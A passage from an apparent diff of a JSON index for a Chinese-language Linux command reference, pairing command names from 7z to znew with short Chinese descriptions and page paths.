Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"createrepo":{"n":"createrepo","p":"/createrepo","d":"创建YUM仓库"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"docker":{"n":"docker","p":"/docker","d":"容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/l